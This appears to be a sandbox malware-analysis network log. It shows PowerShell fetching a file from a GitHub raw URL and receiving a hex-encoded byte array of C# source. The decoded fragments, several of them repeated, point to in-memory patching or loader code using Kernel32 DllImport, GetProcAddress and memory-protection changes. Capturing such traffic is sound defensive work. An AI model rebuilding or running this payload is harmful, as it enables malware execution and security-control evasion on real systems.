2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49766	185.199.110.133	443	2144	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:32:59 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:32:59 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C7AB:276216:D1E040:E80BFB:66E869CC Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:32:59 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740048-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507979.088549,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 5862d7877e26c443f169b1f2bd2a203cf1173bf3 Expires: Mon, 16 Sep 2024 17:37:59 GMT Source-Age: 0
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:32:59 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 